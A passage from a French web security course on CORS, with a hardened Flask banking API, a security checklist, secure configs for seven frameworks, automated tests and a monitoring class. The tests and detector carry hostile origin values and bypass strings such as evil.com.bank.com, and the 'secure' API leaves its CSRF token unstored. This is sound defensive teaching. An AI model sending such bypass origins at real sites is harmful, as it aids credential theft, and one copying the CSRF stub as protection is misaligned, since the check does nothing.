    cursor = conn.cursor()
    
    cursor.execute('SELECT * FROM users WHERE api_token = ?', (token,))
    user = cursor.fetchone()
    conn.close()
    
    return dict(user) if user else None

# [OK] ROUTES SÉCURISÉES

@app.route('/')
def index():
    return jsonify({
        'name': 'Secure Banking API',
        'version': '2.0',
        'security': 'CORS properly configured'
    })

@app.route('/api/account')
def get_account():
    """
    [OK] SÉCURISÉ : Endpoint compte avec CORS validé
    """
    user = get_user_from_token()
    
    if not user:
        return jsonify({'error': 'Unauthorized'}), 401
    
    # [OK] Log accès
    origin = request.headers.get('Origin', 'direct')
    logger.info(f"Account accessed by user {user['id']} from {origin}")
    
    return jsonify({
        'user_id': user['id'],
        'username': user['username'],
        'email': user['email'],
        'balance': user['balance'],
        'account_number': f"****{user['id']:04d}"
    })

@app.route('/api/transactions')
def get_transactions():
    """
    [OK] SÉCURISÉ : Transactions avec CORS validé
    """
    user = get_user_from_token()
    
    if not user:
        return jsonify({'error': 'Unauthorized'}), 401
    
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute('''
        SELECT * FROM transactions 
        WHERE user_id = ? 
        ORDER BY created_at DESC
    ''', (user['id'],))
    
    transactions = [dict(row) for row in cursor.fetchall()]
    conn.close()
    
    origin = request.headers.get('Origin', 'direct')
    logger.info(f"Transactions accessed by user {user['id']} from {origin}")
    
    return jsonify({'transactions': transactions})

@app.route('/api/messages')
def get_messages():
    """
    [OK] SÉCURISÉ : Messages privés avec CORS validé
    """
    user = get_user_from_token()
    
    if not user:
        return jsonify({'error': 'Unauthorized'}), 401
    
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute('''
        SELECT * FROM private_messages 
        WHERE sender_id = ? OR recipient_id = ?
        ORDER BY created_at DESC
    ''', (user['id'], user['id']))
    
    messages = [dict(row) for row in cursor.fetchall()]
    conn.close()
    
    origin = request.headers.get('Origin', 'direct')
    logger.info(f"Messages accessed by user {user['id']} from {origin}")
    
    return jsonify({'messages': messages})

@app.route('/api/transfer', methods=['POST'])
@require_csrf_token
def transfer_money():
    """
    [OK] SÉCURISÉ : Transfert avec CORS + CSRF
    """
    user = get_user_from_token()
    
    if not user:
        return jsonify({'error': 'Unauthorized'}), 401
    
    data = request.json
    recipient = data.get('recipient')
    amount = data.get('amount')
    
    # [OK] Validation
    if not recipient or not amount:
        return jsonify({'error': 'Missing parameters'}), 400
    
    if amount <= 0 or amount > user['balance']:
        return jsonify({'error': 'Invalid amount'}), 400
    
    # [OK] Transaction
    conn = sqlite3.connect(DB_FILE)
    cursor = conn.cursor()
    
    cursor.execute('''
        INSERT INTO transactions (user_id, type, amount, recipient, description)
        VALUES (?, 'transfer', ?, ?, ?)
    ''', (user['id'], -amount, recipient, f'Transfer to {recipient}'))
    
    cursor.execute('''
        UPDATE users SET balance = balance - ? WHERE id = ?
    ''', (amount, user['id']))
    
    conn.commit()
    conn.close()
    
    origin = request.headers.get('Origin', 'direct')
    logger.info(f"Transfer by user {user['id']} from {origin}: ${amount} to {recipient}")
    
    return jsonify({
        'success': True,
        'message': f'Transferred ${amount} to {recipient}'
    })

# [OK] Endpoint pour obtenir CSRF token
@app.route('/api/csrf-token')
def get_csrf_token():
    """
    [OK] Générer token CSRF pour le client
    """
    user = get_user_from_token()
    
    if not user:
        return jsonify({'error': 'Unauthorized'}), 401
    
    # [OK] Générer token unique
    csrf_token = secrets.token_hex(32)
    
    # En production : stocker en session
    # session['csrf_token'] = csrf_token
    
    return jsonify({'csrf_token': csrf_token})

# [OK] Page de documentation
@app.route('/docs')
def docs():
    return jsonify({
        'api_name': 'Secure Banking API',
        'security': {
            'cors': {
                'type': 'whitelist',
                'allowed_origins': list(ALLOWED_ORIGINS),
                'credentials': 'required',
                'notes': 'Exact origin matching, no wildcards'
            },
            'csrf': {
                'enabled': True,
                'header': 'X-CSRF-Token',
                'required_for': ['POST', 'PUT', 'DELETE']
            },
            'authentication': {
                'type': 'Bearer token',
                'header': 'Authorization: Bearer <token>'
            }
        },
        'endpoints': {
            'GET /api/account': 'Get account balance and info',
            'GET /api/transactions': 'Get transaction history',
            'GET /api/messages': 'Get private messages',
            'POST /api/transfer': 'Transfer money (requires CSRF token)',
            'GET /api/csrf-token': 'Get CSRF token'
        }
    })

if __name__ == '__main__':
    print("[SECURITE]  Secure Banking API sur http://localhost:5001")
    print("[OK] Protections CORS actives :")
    print("   1. Whitelist stricte des origines")
    print("   2. Validation exacte (pas de regex faible)")
    print("   3. Rejet de null origin")
    print("   4. Pas de wildcard (*)")
    print("   5. Credentials avec origines spécifiques")
    print("   6. CSRF protection (defense-in-depth)")
    print("   7. Logging de tous les accès")
    print("   8. Headers de sécurité additionnels")
    print(f"\n[LISTE] Origines autorisées : {ALLOWED_ORIGINS}")
    
    app.run(debug=False, port=5001)
```

---

**Continuer avec la CHECKLIST DE SÉCURITÉ COMPLÈTE et les BONNES PRATIQUES ?** [OBJECTIF]

### PARTIE D : CHECKLIST DE SÉCURITÉ COMPLÈTE

**1. Checklist CORS - Configuration sécurisée :**

```yaml
# cors_security_checklist.yaml
# Checklist complète pour sécuriser CORS

CORS_SECURITY_CHECKLIST:
  
  CRITICAL:
    - name: "Pas de wildcard avec credentials"
      check: |
        [X] Access-Control-Allow-Origin: *
        [X] Access-Control-Allow-Credentials: true
      status: MANDATORY
      severity: CRITICAL
      impact: "Permet à n'importe quel site de lire les données"
      
    - name: "Liste blanche stricte"
      check: |
        [OK] ALLOWED_ORIGINS = ['https://trusted.com']
        [OK] if origin in ALLOWED_ORIGINS:
      status: MANDATORY
      severity: CRITICAL
      impact: "Validation faible = bypass facile"
      
    - name: "Pas de reflection aveugle"
      check: |
        [X] response.headers['ACAO'] = request.headers.get('Origin')
        [OK] if origin in WHITELIST: response.headers['ACAO'] = origin
      status: MANDATORY
      severity: CRITICAL
      impact: "N'importe quelle origine acceptée"
      
    - name: "Rejet de null origin"
      check: |
        [X] if origin in ['https://trusted.com', 'null']:
        [OK] if origin == 'null': reject()
      status: MANDATORY
      severity: HIGH
      impact: "Sandbox iframe bypass"
  
  HIGH:
    - name: "Validation regex stricte"
      check: |
        [X] if 'trusted.com' in origin:  # trop permissif
        [X] if re.match(r'https://.*\.trusted\.com', origin):  # .* dangereux
        [OK] if re.match(r'^https://[a-z0-9-]+\.trusted\.com$', origin):
      status: MANDATORY
      severity: HIGH
      impact: "Bypass via evil.com.trusted.com"
      
    - name: "Validation protocole"
      check: |
        [OK] origin.startswith('https://')  # Pas http://
        [OK] origin ne contient qu'un seul ://
      status: RECOMMENDED
      severity: MEDIUM
      impact: "Downgrade vers HTTP non sécurisé"
      
    - name: "Pas de credentials pour endpoints publics"
      check: |
        # Endpoints publics (pas de données sensibles)
        [OK] Access-Control-Allow-Origin: *
        [OK] Access-Control-Allow-Credentials: false
      status: RECOMMENDED
      severity: LOW
      impact: "Minimiser surface d'attaque"
  
  MEDIUM:
    - name: "Méthodes limitées"
      check: |
        [X] Access-Control-Allow-Methods: *
        [OK] Access-Control-Allow-Methods: GET, POST
      status: RECOMMENDED
      severity: MEDIUM
      impact: "Limiter actions possibles"
      
    - name: "Headers limités"
      check: |
        [X] Access-Control-Allow-Headers: *
        [OK] Access-Control-Allow-Headers: Content-Type, Authorization
      status: RECOMMENDED
      severity: MEDIUM
      
    - name: "Max-Age approprié"
      check: |
        [OK] Access-Control-Max-Age: 3600  # 1 heure
        [ATTENTION]  Trop long = changements config lents à appliquer
      status: OPTIONAL
      severity: LOW
  
  DEFENSE_IN_DEPTH:
    - name: "CSRF Protection"
      check: |
        [OK] Tokens CSRF même avec CORS correct
        [OK] SameSite cookies
      status: RECOMMENDED
      severity: HIGH
      impact: "Protection supplémentaire"
      
    - name: "Headers sécurité additionnels"
      check: |
        [OK] X-Content-Type-Options: nosniff
        [OK] X-Frame-Options: DENY
        [OK] Content-Security-Policy: default-src 'self'
      status: RECOMMENDED
      severity: MEDIUM
      
    - name: "Rate Limiting"
      check: |
        [OK] Limiter requêtes par IP/Origin
        [OK] Bloquer tentatives de scan
      status: RECOMMENDED
      severity: MEDIUM
      
    - name: "Logging et monitoring"
      check: |
        [OK] Logger toutes requêtes cross-origin
        [OK] Alertes sur origines rejetées
        [OK] Audit régulier des origines autorisées
      status: MANDATORY
      severity: HIGH
  
  TESTING:
    - name: "Tests automatisés"
      tests:
        - "Vérifier wildcard bloqué"
        - "Vérifier reflection bloquée"
        - "Vérifier null origin rejeté"
        - "Tester bypasses (evil.com.trusted.com)"
        - "Vérifier credentials uniquement avec whitelist"
      frequency: "À chaque déploiement"
      
    - name: "Tests manuels"
      tests:
        - "curl avec différentes origines"
        - "Burp Suite pour manipulation headers"
        - "Tests depuis sites externes"
      frequency: "Mensuel"
      
    - name: "Scan sécurité"
      tools:
        - "OWASP ZAP"
        - "Burp Suite Scanner"
        - "Custom CORS scanner"
      frequency: "Hebdomadaire"
```

---

**2. Guide de configuration par framework :**

```python
# cors_config_guide.py
"""
Guide de configuration CORS sécurisée pour différents frameworks
"""

# ============================================================================
# FLASK
# ============================================================================
FLASK_SECURE_CONFIG = """
# Flask avec flask-cors

from flask import Flask
from flask_cors import CORS

app = Flask(__name__)

# [OK] Configuration SÉCURISÉE
CORS(app, 
     origins=[
         "https://trusted-app.com",
         "https://www.trusted-app.com"
     ],
     supports_credentials=True,
     methods=["GET", "POST", "PUT", "DELETE"],
     allow_headers=["Content-Type", "Authorization"],
     max_age=3600
)

# [OK] OU configuration manuelle
ALLOWED_ORIGINS = {
    'https://trusted-app.com',
    'https://www.trusted-app.com'
}

@app.after_request
def add_cors_headers(response):
    origin = request.headers.get('Origin')
    
    if origin in ALLOWED_ORIGINS:
        response.headers['Access-Control-Allow-Origin'] = origin
        response.headers['Access-Control-Allow-Credentials'] = 'true'
        response.headers['Access-Control-Allow-Methods'] = 'GET, POST, PUT, DELETE'
        response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization'
    
    return response
"""

# ============================================================================
# DJANGO
# ============================================================================
DJANGO_SECURE_CONFIG = """
# Django avec django-cors-headers

# settings.py

INSTALLED_APPS = [
    ...
    'corsheaders',
]

MIDDLEWARE = [
    'corsheaders.middleware.CorsMiddleware',
    'django.middleware.common.CommonMiddleware',
    ...
]

# [OK] Configuration SÉCURISÉE
CORS_ALLOWED_ORIGINS = [
    "https://trusted-app.com",
    "https://www.trusted-app.com",
]

CORS_ALLOW_CREDENTIALS = True

CORS_ALLOW_METHODS = [
    'GET',
    'POST',
    'PUT',
    'DELETE',
]

CORS_ALLOW_HEADERS = [
    'content-type',
    'authorization',
]

# [X] NE JAMAIS FAIRE
# CORS_ORIGIN_ALLOW_ALL = True  # DANGEREUX
# CORS_ORIGIN_WHITELIST = ['*']  # DANGEREUX
# CORS_ALLOW_ALL_ORIGINS = True  # DANGEREUX
"""

# ============================================================================
# EXPRESS.JS (Node.js)
# ============================================================================
EXPRESS_SECURE_CONFIG = """
// Express avec cors middleware

const express = require('express');
const cors = require('cors');

const app = express();

// [OK] Configuration SÉCURISÉE
const corsOptions = {
  origin: function (origin, callback) {
    const allowedOrigins = [
      'https://trusted-app.com',
      'https://www.trusted-app.com'
    ];
    
    // Autoriser requêtes sans Origin (Postman, curl, etc.)
    if (!origin) return callback(null, true);
    
    if (allowedOrigins.indexOf(origin) !== -1) {
      callback(null, true);
    } else {
      callback(new Error('Not allowed by CORS'));
    }
  },
  credentials: true,
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization'],
  maxAge: 3600
};

app.use(cors(corsOptions));

// [X] NE JAMAIS FAIRE
// app.use(cors());  // Accepte toutes origines
// app.use(cors({ origin: '*', credentials: true }));  // DANGEREUX
"""

# ============================================================================
# SPRING BOOT (Java)
# ============================================================================
SPRING_SECURE_CONFIG = """
// Spring Boot CORS Configuration

import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.cors.CorsConfiguration;
import org.springframework.web.cors.CorsConfigurationSource;
import org.springframework.web.cors.UrlBasedCorsConfigurationSource;
import org.springframework.web.filter.CorsFilter;

import java.util.Arrays;

@Configuration
public class CorsConfig {
    
    @Bean
    public CorsConfigurationSource corsConfigurationSource() {
        CorsConfiguration configuration = new CorsConfiguration();
        
        // [OK] Configuration SÉCURISÉE
        configuration.setAllowedOrigins(Arrays.asList(
            "https://trusted-app.com",
            "https://www.trusted-app.com"
        ));
        
        configuration.setAllowedMethods(Arrays.asList(
            "GET", "POST", "PUT", "DELETE"
        ));
        
        configuration.setAllowedHeaders(Arrays.asList(
            "Content-Type", "Authorization"
        ));
        
        configuration.setAllowCredentials(true);
        configuration.setMaxAge(3600L);
        
        UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
        source.registerCorsConfiguration("/**", configuration);
        
        return source;
    }
}

// OU avec annotations
@CrossOrigin(
    origins = {"https://trusted-app.com"},
    allowCredentials = "true",
    methods = {RequestMethod.GET, RequestMethod.POST}
)
@RestController
public class ApiController {
    // ...
}

// [X] NE JAMAIS FAIRE
// @CrossOrigin(origins = "*", allowCredentials = "true")
// @CrossOrigin  // Accepte toutes origines
"""

# ============================================================================
# ASP.NET CORE (C#)
# ============================================================================
ASPNET_SECURE_CONFIG = """
// ASP.NET Core CORS Configuration

// Startup.cs

public void ConfigureServices(IServiceCollection services)
{
    // [OK] Configuration SÉCURISÉE
    services.AddCors(options =>
    {
        options.AddPolicy("SecurePolicy",
            builder =>
            {
                builder.WithOrigins(
                    "https://trusted-app.com",
                    "https://www.trusted-app.com"
                )
                .AllowCredentials()
                .WithMethods("GET", "POST", "PUT", "DELETE")
                .WithHeaders("Content-Type", "Authorization")
                .SetPreflightMaxAge(TimeSpan.FromSeconds(3600));
            });
    });
}

public void Configure(IApplicationBuilder app)
{
    app.UseCors("SecurePolicy");
    
    // ...
}

// OU par controller
[EnableCors("SecurePolicy")]
public class ApiController : ControllerBase
{
    // ...
}

// [X] NE JAMAIS FAIRE
// builder.AllowAnyOrigin().AllowCredentials()  // ERREUR
// builder.SetIsOriginAllowed(origin => true).AllowCredentials()  // DANGEREUX
"""

# ============================================================================
# NGINX
# ============================================================================
NGINX_SECURE_CONFIG = """
# NGINX CORS Configuration

server {
    listen 443 ssl;
    server_name api.example.com;
    
    # [OK] Configuration SÉCURISÉE
    
    # Définir origines autorisées
    map $http_origin $cors_origin {
        default "";
        "https://trusted-app.com" $http_origin;
        "https://www.trusted-app.com" $http_origin;
    }
    
    location /api/ {
        # Ajouter headers CORS si origin valide
        add_header 'Access-Control-Allow-Origin' $cors_origin always;
        add_header 'Access-Control-Allow-Credentials' 'true' always;
        add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, DELETE, OPTIONS' always;
        add_header 'Access-Control-Allow-Headers' 'Content-Type, Authorization' always;
        add_header 'Access-Control-Max-Age' '3600' always;
        
        # Gérer preflight OPTIONS
        if ($request_method = 'OPTIONS') {
            return 204;
        }
        
        proxy_pass http://backend;
    }
}

# [X] NE JAMAIS FAIRE
# add_header 'Access-Control-Allow-Origin' '*' always;
# add_header 'Access-Control-Allow-Origin' $http_origin always;  # Sans validation
"""

# ============================================================================
# APACHE
# ============================================================================
APACHE_SECURE_CONFIG = """
# Apache CORS Configuration (.htaccess)

# [OK] Configuration SÉCURISÉE

<IfModule mod_headers.c>
    # Vérifier origin avec SetEnvIf
    SetEnvIf Origin "^https://(www\.)?trusted-app\.com$" AccessControlAllowOrigin=$0
    
    # Définir headers seulement si origin valide
    Header always set Access-Control-Allow-Origin %{AccessControlAllowOrigin}e env=AccessControlAllowOrigin
    Header always set Access-Control-Allow-Credentials "true" env=AccessControlAllowOrigin
    Header always set Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS" env=AccessControlAllowOrigin
    Header always set Access-Control-Allow-Headers "Content-Type, Authorization" env=AccessControlAllowOrigin
    Header always set Access-Control-Max-Age "3600" env=AccessControlAllowOrigin
</IfModule>

# Gérer preflight OPTIONS
RewriteEngine On
RewriteCond %{REQUEST_METHOD} OPTIONS
RewriteRule ^(.*)$ $1 [R=204,L]

# [X] NE JAMAIS FAIRE
# Header set Access-Control-Allow-Origin "*"
# Header set Access-Control-Allow-Origin "%{HTTP_ORIGIN}e"  # Sans validation
"""

print("CORS Configuration Guide")
print("=" * 80)
print("\nFramework configurations disponibles :")
print("  - Flask (Python)")
print("  - Django (Python)")
print("  - Express.js (Node.js)")
print("  - Spring Boot (Java)")
print("  - ASP.NET Core (C#)")
print("  - NGINX (Reverse Proxy)")
print("  - Apache (Web Server)")
```

---

**3. Tests de validation automatisés :**

```python
# cors_security_tests.py
"""
Tests automatisés pour valider la sécurité CORS
"""

import unittest
import requests

class CORSSecurityTests(unittest.TestCase):
    """
    Suite de tests pour valider configuration CORS
    """
    
    BASE_URL = "http://localhost:5001/api/account"
    
    def test_wildcard_with_credentials_blocked(self):
        """
        [OK] Test : Wildcard + Credentials doit être bloqué
        """
        response = requests.get(self.BASE_URL)
        
        acao = response.headers.get('Access-Control-Allow-Origin')
        acac = response.headers.get('Access-Control-Allow-Credentials')
        
        # Ne doit PAS avoir wildcard avec credentials
        self.assertFalse(
            acao == '*' and acac == 'true',
            "CRITICAL: Wildcard with credentials detected!"
        )
    
    def test_origin_reflection_blocked(self):
        """
        [OK] Test : Origin reflection doit être bloqué
        """
        evil_origins = [
            'https://evil.com',
            'https://attacker.com',
            'http://malicious.net'
        ]
        
        for origin in evil_origins:
            response = requests.get(
                self.BASE_URL,
                headers={'Origin': origin}
            )
            
            acao = response.headers.get('Access-Control-Allow-Origin')
            acac = response.headers.get('Access-Control-Allow-Credentials')
            
            # Evil origin ne doit PAS être reflété avec credentials
            self.assertFalse(
                acao == origin and acac == 'true',
                f"CRITICAL: Origin {origin} reflected with credentials!"
            )
    
    def test_null_origin_blocked(self):
        """
        [OK] Test : Null origin doit être bloqué
        """
        response = requests.get(
            self.BASE_URL,
            headers={'Origin': 'null'}
        )
        
        acao = response.headers.get('Access-Control-Allow-Origin')
        acac = response.headers.get('Access-Control-Allow-Credentials')
        
        # Null origin ne doit PAS être accepté avec credentials
        self.assertFalse(
            acao == 'null' and acac == 'true',
            "HIGH: Null origin accepted with credentials!"
        )
    
    def test_trusted_origin_allowed(self):
        """
        [OK] Test : Origine de confiance doit être acceptée
        """
        trusted_origin = 'https://bank.com'
        
        response = requests.get(
            self.BASE_URL,
            headers={'Origin': trusted_origin}
        )
        
        acao = response.headers.get('Access-Control-Allow-Origin')
        acac = response.headers.get('Access-Control-Allow-Credentials')
        
        # Origine de confiance DOIT être acceptée
        self.assertTrue(
            acao == trusted_origin and acac == 'true',
            f"ERROR: Trusted origin {trusted_origin} not allowed!"
        )
    
    def test_subdomain_bypass_blocked(self):
        """
        [OK] Test : Bypass sous-domaine doit être bloqué
        """
        bypass_attempts = [
            'https://evil.com.bank.com',
            'https://bank.com.evil.com',
            'https://evilbank.com',
            'https://evil.com/bank.com',
            'https://evil.com?bank.com'
        ]
        
        for attempt in bypass_attempts:
            response = requests.get(
                self.BASE_URL,
                headers={'Origin': attempt}
            )
            
            acao = response.headers.get('Access-Control-Allow-Origin')
            acac = response.headers.get('Access-Control-Allow-Credentials')
            
            # Tentative bypass ne doit PAS fonctionner
            self.assertFalse(
                acao == attempt and acac == 'true',
                f"CRITICAL: Subdomain bypass successful: {attempt}"
            )
    
    def test_dangerous_methods_restricted(self):
        """
        [OK] Test : Méthodes dangereuses doivent être limitées
        """
        response = requests.options(
            self.BASE_URL,
            headers={
                'Origin': 'https://bank.com',
                'Access-Control-Request-Method': 'POST'
            }
        )
        
        acam = response.headers.get('Access-Control-Allow-Methods', '')
        
        # Vérifier que méthodes sont limitées
        self.assertNotEqual(acam, '*', "WARNING: All methods allowed")
        
        # DELETE, PUT doivent être explicitement listés si nécessaires
        if 'DELETE' in acam:
            print("INFO: DELETE method allowed - verify if necessary")
    
    def test_headers_restricted(self):
        """
        [OK] Test : Headers doivent être limités
        """
        response = requests.options(
            self.BASE_URL,
            headers={
                'Origin': 'https://bank.com',
                'Access-Control-Request-Headers': 'Content-Type'
            }
        )
        
        acah = response.headers.get('Access-Control-Allow-Headers', '')
        
        # Headers ne doivent pas être wildcard
        self.assertNotEqual(acah, '*', "WARNING: All headers allowed")
    
    def test_max_age_reasonable(self):
        """
        [OK] Test : Max-Age doit être raisonnable
        """
        response = requests.options(
            self.BASE_URL,
            headers={'Origin': 'https://bank.com'}
        )
        
        max_age = response.headers.get('Access-Control-Max-Age')
        
        if max_age:
            max_age_int = int(max_age)
            
            # Max-Age ne doit pas être trop long (max 1 jour)
            self.assertLessEqual(
                max_age_int,
                86400,
                "WARNING: Max-Age too long (>24h)"
            )
    
    def test_security_headers_present(self):
        """
        [OK] Test : Headers de sécurité additionnels doivent être présents
        """
        response = requests.get(self.BASE_URL)
        
        # Vérifier présence headers sécurité
        security_headers = {
            'X-Content-Type-Options': 'nosniff',
            'X-Frame-Options': ['DENY', 'SAMEORIGIN'],
            'X-XSS-Protection': '1'
        }
        
        for header, expected in security_headers.items():
            value = response.headers.get(header)
            
            if isinstance(expected, list):
                self.assertIn(
                    value, expected,
                    f"WARNING: {header} not properly set"
                )
            else:
                self.assertIsNotNone(
                    value,
                    f"WARNING: {header} missing"
                )

def run_security_tests():
    """
    Exécuter tous les tests de sécurité
    """
    print("=" * 80)
    print("CORS SECURITY VALIDATION TESTS")
    print("=" * 80)
    print()
    
    # Créer test suite
    suite = unittest.TestLoader().loadTestsFromTestCase(CORSSecurityTests)
    
    # Exécuter tests
    runner = unittest.TextTestRunner(verbosity=2)
    result = runner.run(suite)
    
    # Summary
    print("\n" + "=" * 80)
    print("TEST SUMMARY")
    print("=" * 80)
    print(f"Tests run: {result.testsRun}")
    print(f"Failures: {len(result.failures)}")
    print(f"Errors: {len(result.errors)}")
    
    if result.wasSuccessful():
        print("\n[OK] ALL TESTS PASSED - CORS configuration is secure!")
    else:
        print("\n[ALERTE] TESTS FAILED - CORS vulnerabilities detected!")
        print("Review failures above and fix configuration.")
    
    return result.wasSuccessful()

if __name__ == '__main__':
    success = run_security_tests()
    exit(0 if success else 1)
```

---

**4. Outils de détection et monitoring :**

```python
# cors_monitoring.py
"""
Monitoring et détection continue des problèmes CORS
"""

import time
from collections import defaultdict
from datetime import datetime, timedelta
import logging

logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)

class CORSMonitor:
    """
    Système de monitoring pour détecter abus CORS
    """
    
    def __init__(self):
        self.rejected_origins = defaultdict(int)
        self.suspicious_patterns = defaultdict(list)
        self.alert_threshold = 10  # 10 rejets = alerte
    
    def log_cors_request(self, origin, allowed, endpoint, user_ip):
        """
        Logger requête CORS
        """
        timestamp = datetime.now()
        
        if not allowed:
            # Origine rejetée
            self.rejected_origins[origin] += 1
            
            logger.warning(
                f"CORS REJECTED | Origin: {origin} | "
                f"Endpoint: {endpoint} | IP: {user_ip}"
            )
            
            # Détecter patterns suspects
            self.detect_suspicious_patterns(origin, user_ip)
            
            # Vérifier seuil d'alerte
            if self.rejected_origins[origin] >= self.alert_threshold:
                self.trigger_alert(origin, user_ip)
        else:
            logger.info(
                f"CORS ALLOWED | Origin: {origin} | "
                f"Endpoint: {endpoint} | IP: {user_ip}"
            )
    
    def detect_suspicious_patterns(self, origin, ip):
        """
        Détecter patterns d'attaque
        """
        patterns = []
        
        # Pattern 1 : Tentative bypass sous-domaine
        if '.com.evil.com' in origin or '.com.attacker' in origin:
            patterns.append('subdomain_bypass')
        
        # Pattern 2 : Null origin
        if origin == 'null':
            patterns.append('null_origin_attack')
        
        # Pattern 3 : HTTP au lieu de HTTPS
        if origin.startswith('http://'):
            patterns.append('http_downgrade')
        
        # Pattern 4 : Localhost/internal
        if 'localhost' in origin or '127.0.0.1' in origin:
            patterns.append('localhost_origin')
        
        # Pattern 5 : Multiple tentatives de la même IP
        recent_attempts = [
            p for p in self.suspicious_patterns[ip]
            if p['timestamp'] > datetime.now() - timedelta(minutes=5)
        ]
        
        if len(recent_attempts) > 5:
            patterns.append('rapid_probing')
        
        if patterns:
            self.suspicious_patterns[ip].append({
                'timestamp': datetime.now(),
                'origin': origin,
                'patterns': patterns
            })
            
            logger.error(
                f"SUSPICIOUS PATTERNS | Origin: {origin} | "
                f"IP: {ip} | Patterns: {patterns}"
            )
    
    def trigger_alert(self, origin, ip):
        """
        Déclencher alerte sécurité
        """
        logger.critical(
            f"SECURITY ALERT | "
            f"Origin: {origin} has been rejected {self.rejected_origins[origin]} times | "
            f"IP: {ip} | "
            f"Action: Consider IP ban or WAF rule"
        )
        
        # En production : envoyer notification
        # - Email à équipe sécurité
        # - Slack/PagerDuty
        # - Bloquer IP automatiquement
        # - Mettre à jour WAF
    
    def generate_report(self):
        """
        Générer rapport de monitoring
        """
        print("\n" + "=" * 80)
        print("CORS MONITORING REPORT")
        print("=" * 80)
        
        print(f"\n[GRAPHIQUE] Summary:")
        print(f"  Total rejected origins: {len(self.rejected_origins)}")
        print(f"  Total suspicious IPs: {len(self.suspicious_patterns)}")
        
        print(f"\n[ALERTE] Top Rejected Origins:")
        sorted_origins = sorted(
            self.rejected_origins.items(),
            key=lambda x: x[1],
            reverse=True
        )
        
        for origin, count in sorted_origins[:10]:
            print(f"  {origin}: {count} rejections")
        
        print(f"\n[OBJECTIF] Suspicious IPs:")
        for ip, attempts in self.suspicious_patterns.items():
            if len(attempts) > 3:
                print(f"  {ip}: {len(attempts)} suspicious attempts")
                patterns = set()
                for attempt in attempts:
                    patterns.update(attempt['patterns'])
                print(f"    Patterns: {', '.join(patterns)}")

# Intégration dans l'application
monitor = CORSMonitor()

def cors_middleware(request, response):
    """
    Middleware pour monitoring CORS
    """
    origin = request.headers.get('Origin')
    
    if origin:
        # Vérifier si origin autorisée
        allowed = origin in ALLOWED_ORIGINS
        
        # Logger
        monitor.log_cors_request(
            origin=origin,
            allowed=allowed,
            endpoint=request.path,
            user_ip=request.remote_addr
        )
    
    return response
```

---

**5. Récapitulatif final du cours complet :**

```python
# final_summary.py
"""
[BRAVO] RÉCAPITULATIF COMPLET DU COURS DE SÉCURITÉ WEB
"""

COURSE_SUMMARY = """
╔════════════════════════════════════════════════════════════════════════════╗
║                   COURS COMPLET DE SÉCURITÉ WEB                            ║
║                        29 EXERCICES TERMINÉS                               ║
╚════════════════════════════════════════════════════════════════════════════╝

[DOCS] MODULES COMPLÉTÉS :

┌─────────────────────────────────────────────────────────────────────────────┐
│ 1. SQL INJECTION (Exercices 1-2)                                           │
│    [OK] Union-based, Blind, Time-based, Error-based                          │
│    [OK] Prepared statements, parameterized queries, ORM                      │
│    [OK] WAF bypass, encoding techniques                                      │
└─────────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│ 2. XSS - CROSS-SITE SCRIPTING (Exercices 3-4, 19)                         │
│    [OK] Reflected, Stored, DOM-based XSS                                     │
│    [OK] Cookie stealing, keylogging, defacement                              │
│    [OK] Content Security Policy, input sanitization                          │
└─────────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│ 3. CSRF - CROSS-SITE REQUEST FORGERY (Exercice 5)                         │
│    [OK] Token-based protection, SameSite cookies                             │
│    [OK] State-changing operations protection                                 │
└─────────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│ 4. CLICKJACKING (Exercice 6)                                              │
│    [OK] X-Frame-Options, CSP frame-ancestors                                 │
│    [OK] UI redress attacks, invisible overlays                               │
└─────────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│ 5. INSECURE DESERIALIZATION (Exercice 7)                                  │
│    [OK] Pickle, YAML, JSON deserialization                                   │
│    [OK] Remote Code Execution via gadget chains                              │
│    [OK] Safe serialization formats                                           │
└─────────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│ 6. SECURITY MISCONFIGURATION (Exercice 8)                                 │
│    [OK] Debug mode, default credentials, directory listing                   │
│    [OK] Error message disclosure, verbose logs                               │
└─────────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│ 7. IDOR - INSECURE DIRECT OBJECT REFERENCES (Exercices 9, 24)            │
│    [OK] Sequential IDs, UUID, authorization checks                           │
│    [OK] GraphQL IDOR, Mass Assignment, WebSocket                             │
└─────────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│ 8. XXE - XML EXTERNAL ENTITY (Exercice 10)                                │
│    [OK] File disclosure, SSRF via XXE                                        │
│    [OK] Billion laughs, defusedxml                                           │
└─────────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│ 9. SSRF - SERVER-SIDE REQUEST FORGERY (Exercices 11, 25)                 │
│    [OK] AWS metadata, internal networks, blacklist bypass                    │
│    [OK] Protocol smuggling, DNS rebinding                                    │
└─────────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│ 10. VULNERABLE COMPONENTS (Exercice 12)                                    │
│     [OK] Dependency scanning, CVE tracking, version pinning                  │
└─────────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│ 11. LOGGING & MONITORING (Exercice 13)                                     │
│     [OK] Security event logging, SIEM integration                            │
│     [OK] Incident detection and response                                     │
└─────────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│ 12. COMMAND INJECTION (Exercice 14)                                        │
│     [OK] OS command execution, shell escaping                                │
│     [OK] Subprocess safety, whitelist validation                             │
